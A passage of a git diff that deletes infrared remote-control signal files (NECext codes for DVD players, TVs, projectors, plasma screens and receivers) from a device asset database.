-address: 1A 62 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir deleted file mode 100644 index 21bf70f3b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 08 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 0B 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 0E 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 0F 00 00 00 -# -name: OPEN_CLOSE -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 16 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 1B 00 00 00 -# -name: PWRON -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 2E 00 00 00 -# -name: PWR_OFF -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 2F 00 00 00 -# -name: PREV_TRACK -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 30 00 00 00 -# -name: NEXT_TRACK -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 31 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 32 00 00 00 -# -name: SKAN_REW -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 33 00 00 00 -# -name: SKAN_FF -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 34 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 38 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 39 00 00 00 -# -name: STEP_REW -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 3A 00 00 00 -# -name: STEP_FF -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 3B 00 00 00 -# -name: DISK1 -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 40 00 00 00 -# -name: DISK2 -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 41 00 00 00 -# -name: DISK3 -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 42 00 00 00 -# -name: DISK4 -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 43 00 00 00 -# -name: DISK5 -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 44 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 53 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 54 00 00 00 -# -name: SUBTITTLE_ON_OFF -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 62 00 00 00 -# -name: SUBTITTLE_CHANGE -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 63 00 00 00 -# -name: AUDIO_CHANGE -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 64 00 00 00 -# -name: ANGLE_CHANGE -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 65 00 00 00 -# -name: CURSER_UP -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 79 00 00 00 -# -name: CURSER_DOWN -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 7A 00 00 00 -# -name: CURSER_LEFT -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 7B 00 00 00 -# -name: CURSER_RIGHT -type: parsed -protocol: NECext -address: 1A 7A 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir deleted file mode 100644 index bf6628365..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 00 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 09 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir deleted file mode 100644 index 82193c3af..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: GUIDE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: TV_ANT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2A 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2F 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 40 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 41 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 42 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 47 00 00 00 -# -name: VIDEO5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 48 00 00 00 -# -name: QUARTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5B 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 65 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir deleted file mode 100644 index e463449ad..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DTV_ANT -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 2A 00 00 00 -# -name: MEM_STICK -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 31 00 00 00 -# -name: VIDEO6 -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 42 00 00 00 -# -name: VIDEO7 -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 42 00 00 00 -# -name: ZOOM_- -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 4D 00 00 00 -# -name: ZOOM_+ -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 4E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir deleted file mode 100644 index 8ac88b966..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CC -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 10 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 1F 00 00 00 -# -name: ZOOM_CAPTION -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 32 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 3B 00 00 00 -# -name: NORMAL_FULL -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 3B 00 00 00 -# -name: WIDE_MODE -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 3D 00 00 00 -# -name: WIDE_ZOOM -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 42 00 00 00 -# -name: ACTIVE -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 63 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 6E 00 00 00 -# -name: MULTI -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 74 00 00 00 -# -name: HALF -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 77 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir deleted file mode 100644 index 47bff6a57..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 1A 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 1A 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 1A 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 1A 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 1A 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A 1A 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A 1A 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1A 1A 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1A 1A 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1A 1A 00 00 -command: 0F 00 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 1A 1A 00 00 -command: 10 00 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 1A 1A 00 00 -command: 11 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir deleted file mode 100644 index cc3d8aa13..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT_VIDEO_1 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2A 00 00 00 -# -name: INPUT_VIDEO_2 -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2B 00 00 00 -# -name: INPUT_RGB -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2C 00 00 00 -# -name: PWR_ON -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2E 00 00 00 -# -name: PWR_OFF -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 2F 00 00 00 -# -name: SELECT+ -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 31 00 00 00 -# -name: SELECT_- -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 32 00 00 00 -# -name: FOCUS_IN -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 41 00 00 00 -# -name: FOCUS_OUT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 42 00 00 00 -# -name: ZOOM_IN -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 54 00 00 00 -# -name: ZOOM_OUT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 55 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 56 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 59 00 00 00 -# -name: INPUT_S_VIDEO -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 5F 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 7B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir deleted file mode 100644 index 35c518125..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: MTS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: PWR_ON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2E 00 00 00 -# -name: PWR_OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2F 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: LINE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 40 00 00 00 -# -name: RGB1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 43 00 00 00 -# -name: RGB2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 44 00 00 00 -# -name: Y/C -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4D 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 60 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 65 00 00 00 -# -name: SELECT+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 74 00 00 00 -# -name: SELECT- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 75 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir deleted file mode 100644 index 4a80ef71d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: H_SHIFT -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 10 00 00 00 -# -name: V_SHIFT -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 11 00 00 00 -# -name: H_SIZE -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 12 00 00 00 -# -name: V_SIZE -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 13 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir deleted file mode 100644 index 9d217309c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ASPECT -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 3D 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 7D 00 00 00 -# -name: DEGAUSS -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir deleted file mode 100644 index e453ade05..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PRESET_UP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 10 00 00 00 -# -name: PRE_UP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 10 00 00 00 -# -name: PRESET_DN -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 11 00 00 00 -# -name: PRE_DN -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 11 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 12 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 13 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 14 00 00 00 -# -name: VID2 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1E 00 00 00 -# -name: VID_2 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1E 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 21 00 00 00 -# -name: VID1 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 22 00 00 00 -# -name: VID_1 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 22 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 23 00 00 00 -# -name: MD_TAPE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 23 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 25 00 00 00 -# -name: CD/SACD -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 25 00 00 00 -# -name: PWR_ON -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 2E 00 00 00 -# -name: PWR_OFF -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 2F 00 00 00 -# -name: VID3 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 42 00 00 00 -# -name: VID4 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 43 00 00 00 -# -name: MD -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 69 00 00 00 -# -name: TV/_SAT/_CABLE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 6A 00 00 00 -# -name: TV_SAT -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 6A 00 00 00 -# -name: LD -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 6B 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir deleted file mode 100644 index eb8352983..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: NITE_MODE -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 20 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir deleted file mode 100644 index cff687942..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 09 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: CH_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: CH_DN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 12 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: VID_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1E 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 21 00 00 00 -# -name: VID_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 22 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 23 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: PWR_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2E 00 00 00 -# -name: PWR_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2F 00 00 00 -# -name: VID5 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 41 00 00 00 -# -name: VID3 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 42 00 00 00 -# -name: VID4 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 43 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4B 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 53 00 00 00 -# -name: TV/SAT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6A 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/25,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/25,107.ir deleted file mode 100644 index cd657a53d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/25,107.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 19 6B 00 00 -command: 12 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 19 6B 00 00 -command: 13 00 00 00 -# -name: VID_2 -type: parsed -protocol: NECext -address: 19 6B 00 00 -command: 1E 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 19 6B 00 00 -command: 21 00 00 00 -# -name: VID_1 -type: parsed -protocol: NECext -address: 19 6B 00 00 -command: 22 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 19 6B 00 00 -command: 23 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 19 6B 00 00 -command: 25 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 19 6B 00 00 -command: 2E 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 19 6B 00 00 -command: 2F 00 00 00 -# -name: VID_3 -type: parsed -protocol: NECext -address: 19 6B 00 00 -command: 42 00 00 00 -# -name: MD -type: parsed -protocol: NECext -address: 19 6B 00 00 -command: 69 00 00 00 -# -name: TV_SAT -type: parsed -protocol: NECext -address: 19 6B 00 00 -command: 6A 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 19 6B 00 00 -command: 7D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/25,11.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/25,11.ir deleted file mode 100644 index 40554ae22..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/25,11.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER -type: parsed -protocol: NECext -address: 19 0B 00 00 -command: 21 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 19 0B 00 00 -command: 25 00 00 00 -# -name: VID_3 -type: parsed -protocol: NECext -address: 19 0B 00 00 -command: 42 00 00 00 -# -name: TV_SAT -type: parsed -protocol: NECext -address: 19 0B 00 00 -command: 6A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir deleted file mode 100644 index 6d95867a7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 13 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir deleted file mode 100644 index 56adf6212..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PRESET_UP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: PRESET_DOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/TV/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/TV/1,-1.ir deleted file mode 100644 index bd2d9588c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/TV/1,-1.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: GUIDE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: ANT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2A 00 00 00 -# -name: PWR_ON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2E 00 00 00 -# -name: PWR_OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2F 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: IN1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 40 00 00 00 -# -name: IN2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 41 00 00 00 -# -name: IN3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 42 00 00 00 -# -name: IN4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 47 00 00 00 -# -name: IN5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 48 00 00 00 -# -name: PIP_ON_OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5B 00 00 00 -# -name: PIC_MODE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5E 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 63 00 00 00 diff --git 